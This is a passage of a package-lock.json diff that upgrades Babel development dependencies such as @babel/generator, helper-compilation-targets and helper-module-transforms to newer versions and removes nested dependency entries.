"sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - }, - "json5": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", - "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", - "dev": true, - "requires": { - "minimist": "^1.2.5" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } + "semver": "^6.3.0" } }, "@babel/generator": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.9.6.tgz", - "integrity": "sha512-+htwWKJbH2bL72HRluF8zumBxzuX0ZZUFl3JLNyoUjM/Ho8wnVpPXM6aUz8cfKDqQ/h7zHqKt4xzJteUosckqQ==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.17.7.tgz", + "integrity": "sha512-oLcVCTeIFadUoArDTwpluncplrYBmTCCZZgXCbgNGvOBBiSDDK3eWO4b/+eOTli5tKv1lg+a5/NAXg+nTcei1w==", "dev": true, "requires": { - "@babel/types": "^7.9.6", + "@babel/types": "^7.17.0", "jsesc": "^2.5.1", - "lodash": "^4.17.13", "source-map": "^0.5.0" } }, "@babel/helper-annotate-as-pure": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.15.4.tgz", - "integrity": "sha512-QwrtdNvUNsPCj2lfNQacsGSQvGX8ee1ttrBrcozUP2Sv/jylewBP/8QFe6ZkBsC8T/GYWonNAWJV4aRR9AL2DA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.16.7.tgz", + "integrity": "sha512-s6t2w/IPQVTAET1HitoowRGXooX8mCgtuP5195wD/QJPV6wYjpujCGF7JuMODVX2ZAJOf1GT6DT9MHEZvLOFSw==", "dev": true, "requires": { - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.16.7" } }, "@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.15.4.tgz", - "integrity": "sha512-P8o7JP2Mzi0SdC6eWr1zF+AEYvrsZa7GSY1lTayjF5XJhVH0kjLYUZPvTMflP7tBgZoe9gIhTa60QwFpqh/E0Q==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.16.7.tgz", + "integrity": "sha512-C6FdbRaxYjwVu/geKW4ZeQ0Q31AftgRcdSnZ5/jsH6BzCJbtvXvhpfkbkThYSuutZA7nCXpPR6AD9zd1dprMkA==", "dev": true, "requires": { - "@babel/helper-explode-assignable-expression": "^7.15.4", - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-explode-assignable-expression": "^7.16.7", + "@babel/types": "^7.16.7" } }, "@babel/helper-compilation-targets": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.15.4.tgz", - "integrity": "sha512-rMWPCirulnPSe4d+gwdWXLfAXTTBj8M3guAf5xFQJ0nvFY7tfNAFnWdqaHegHlgDZOCT4qvhF3BYlSJag8yhqQ==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.17.7.tgz", + "integrity": "sha512-UFzlz2jjd8kroj0hmCFV5zr+tQPi1dpC2cRsDV/3IEW8bJfCPrPpmcSN6ZS8RqIq4LXcmpipCQFPddyFA5Yc7w==", "dev": true, "requires": { - "@babel/compat-data": "^7.15.0", - "@babel/helper-validator-option": "^7.14.5", - "browserslist": "^4.16.6", + "@babel/compat-data": "^7.17.7", + "@babel/helper-validator-option": "^7.16.7", + "browserslist": "^4.17.5", "semver": "^6.3.0" - }, - "dependencies": { - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } } }, "@babel/helper-create-class-features-plugin": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.15.4.tgz", - "integrity": "sha512-7ZmzFi+DwJx6A7mHRwbuucEYpyBwmh2Ca0RvI6z2+WLZYCqV0JOaLb+u0zbtmDicebgKBZgqbYfLaKNqSgv5Pw==", + "version": "7.17.6", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.17.6.tgz", + "integrity": "sha512-SogLLSxXm2OkBbSsHZMM4tUi8fUzjs63AT/d0YQIzr6GSd8Hxsbk2KYDX0k0DweAzGMj/YWeiCsorIdtdcW8Eg==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-member-expression-to-functions": "^7.15.4", - "@babel/helper-optimise-call-expression": "^7.15.4", - "@babel/helper-replace-supers": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-member-expression-to-functions": "^7.16.7", + "@babel/helper-optimise-call-expression": "^7.16.7", + "@babel/helper-replace-supers": "^7.16.7", + "@babel/helper-split-export-declaration": "^7.16.7" } }, "@babel/helper-create-regexp-features-plugin": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.14.5.tgz", - "integrity": "sha512-TLawwqpOErY2HhWbGJ2nZT5wSkR192QpN+nBg1THfBfftrlvOh+WbhrxXCH4q4xJ9Gl16BGPR/48JA+Ryiho/A==", + "version": "7.17.0", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.17.0.tgz", + "integrity": "sha512-awO2So99wG6KnlE+TPs6rn83gCz5WlEePJDTnLEqbchMVrBeAujURVphRdigsk094VhvZehFoNOihSlcBjwsXA==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.14.5", - "regexpu-core": "^4.7.1" + "@babel/helper-annotate-as-pure": "^7.16.7", + "regexpu-core": "^5.0.1" } }, "@babel/helper-define-polyfill-provider": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.3.tgz", - "integrity": "sha512-RH3QDAfRMzj7+0Nqu5oqgO5q9mFtQEVvCRsi8qCEfzLR9p2BHfn5FzhSB2oj1fF7I2+DcTORkYaQ6aTR9Cofew==", + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.1.tgz", + "integrity": "sha512-J9hGMpJQmtWmj46B3kBHmL38UhJGhYX7eqkcq+2gsstyYt341HmPeWspihX43yVRA0mS+8GGk2Gckc7bY/HCmA==", "dev": true, "requires": { "@babel/helper-compilation-targets": "^7.13.0", @@ -402,1079 +16718,380 @@ "lodash.debounce": "^4.0.8", "resolve": "^1.14.2", "semver": "^6.1.2" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/generator": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", - "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", - "dev": true, - "requires": { - "@babel/types": "^7.15.6", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", - "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/highlight": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", - "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.5", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "@babel/parser": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", - "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", - "dev": true - }, - "@babel/template": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", - "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/traverse": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", - "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.14.5", - "@babel/generator": "^7.15.4", - "@babel/helper-function-name": "^7.15.4", - "@babel/helper-hoist-variables": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", - "@babel/parser": "^7.15.4", - "@babel/types": "^7.15.4", - "debug": "^4.1.0", - "globals": "^11.1.0" - } - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } + } + }, + "@babel/helper-environment-visitor": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.16.7.tgz", + "integrity": "sha512-SLLb0AAn6PkUeAfKJCCOl9e1R53pQlGAfc4y4XuMRZfqeMYLE0dM1LMhqbGAlGQY0lfw5/ohoYWAe9V1yibRag==", + "dev": true, + "requires": { + "@babel/types": "^7.16.7" } }, "@babel/helper-explode-assignable-expression": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.15.4.tgz", - "integrity": "sha512-J14f/vq8+hdC2KoWLIQSsGrC9EFBKE4NFts8pfMpymfApds+fPqR30AOUWc4tyr56h9l/GA1Sxv2q3dLZWbQ/g==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.16.7.tgz", + "integrity": "sha512-KyUenhWMC8VrxzkGP0Jizjo4/Zx+1nNZhgocs+gLzyZyB8SHidhoq9KK/8Ato4anhwsivfkBLftky7gvzbZMtQ==", "dev": true, "requires": { - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.16.7" } }, "@babel/helper-function-name": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz", - "integrity": "sha512-JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.16.7.tgz", + "integrity": "sha512-QfDfEnIUyyBSR3HtrtGECuZ6DAyCkYFp7GHl75vFtTnn6pjKeK0T1DB5lLkFvBea8MdaiUABx3osbgLyInoejA==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.8.3", - "@babel/template": "^7.8.3", - "@babel/types": "^7.9.5" + "@babel/helper-get-function-arity": "^7.16.7", + "@babel/template": "^7.16.7", + "@babel/types": "^7.16.7" } }, "@babel/helper-get-function-arity": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz", - "integrity": "sha512-FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.16.7.tgz", + "integrity": "sha512-flc+RLSOBXzNzVhcLu6ujeHUrD6tANAOU5ojrRx/as+tbzf8+stUCj7+IfRRoAbEZqj/ahXEMsjhOhgeZsrnTw==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.16.7" } }, "@babel/helper-hoist-variables": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.15.4.tgz", - "integrity": "sha512-VTy085egb3jUGVK9ycIxQiPbquesq0HUQ+tPO0uv5mPEBZipk+5FkRKiWq5apuyTE9FUrjENB0rCf8y+n+UuhA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.16.7.tgz", + "integrity": "sha512-m04d/0Op34H5v7pbZw6pSKP7weA6lsMvfiIAMeIvkY/R4xQtBSMFEigu9QTZ2qB/9l22vsxtM8a+Q8CzD255fg==", "dev": true, "requires": { - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.16.7" } }, "@babel/helper-member-expression-to-functions": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.15.4.tgz", - "integrity": "sha512-cokOMkxC/BTyNP1AlY25HuBWM32iCEsLPI4BHDpJCHHm1FU2E7dKWWIXJgQgSFiu4lp8q3bL1BIKwqkSUviqtA==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.17.7.tgz", + "integrity": "sha512-thxXgnQ8qQ11W2wVUObIqDL4p148VMxkt5T/qpN5k2fboRyzFGFmKsTGViquyM5QHKUy48OZoca8kw4ajaDPyw==", "dev": true, "requires": { - "@babel/types": "^7.15.4" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.17.0" } }, "@babel/helper-module-imports": { - "version": "7.13.12", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.13.12.tgz", - "integrity": "sha512-4cVvR2/1B693IuOvSI20xqqa/+bl7lqAMR59R4iu39R9aOX8/JoYY1sFaNvUMyMBGnHdwvJgUrzNLoUZxXypxA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.16.7.tgz", + "integrity": "sha512-LVtS6TqjJHFc+nYeITRo6VLXve70xmq7wPhWTqDJusJEgGmkAACWwMiTNrvfoQo6hEhFwAIixNkvB0jPXDL8Wg==", "requires": { - "@babel/types": "^7.13.12" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==" - }, - "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", - "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", - "to-fast-properties": "^2.0.0" - } - } + "@babel/types": "^7.16.7" } }, "@babel/helper-module-transforms": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.15.8.tgz", - "integrity": "sha512-DfAfA6PfpG8t4S6npwzLvTUpp0sS7JrcuaMiy1Y5645laRJIp/LiLGIBbQKaXSInK8tiGNI7FL7L8UvB8gdUZg==", + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.17.7.tgz", + "integrity": "sha512-VmZD99F3gNTYB7fJRDTi+u6l/zxY0BE6OIxPSU7a50s6ZUQkHwSDmV92FfM+oCG0pZRVojGYhkR8I0OGeCVREw==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.15.4", - "@babel/helper-replace-supers": "^7.15.4", - "@babel/helper-simple-access": "^7.15.4", - "@babel/helper-split-export-declaration": "^7.15.4", - "@babel/helper-validator-identifier": "^7.15.7", - "@babel/template": "^7.15.4", - "@babel/traverse": "^7.15.4", - "@babel/types": "^7.15.6" - }, - "dependencies": { - "@babel/code-frame": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", - "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", - "dev": true, - "requires": { - "@babel/highlight": "^7.14.5" - } - }, - "@babel/generator": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", - "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", - "dev": true, - "requires": { - "@babel/types": "^7.15.6", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "@babel/helper-function-name": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", - "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.15.4", - "@babel/template": "^7.15.4", - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-get-function-arity": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", - "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", - "dev": true, - "requires": { - "@babel/types": "^7.15.4" - } - }, - "@babel/helper-module-imports": { - "version": "7.15.4", - "resolved": 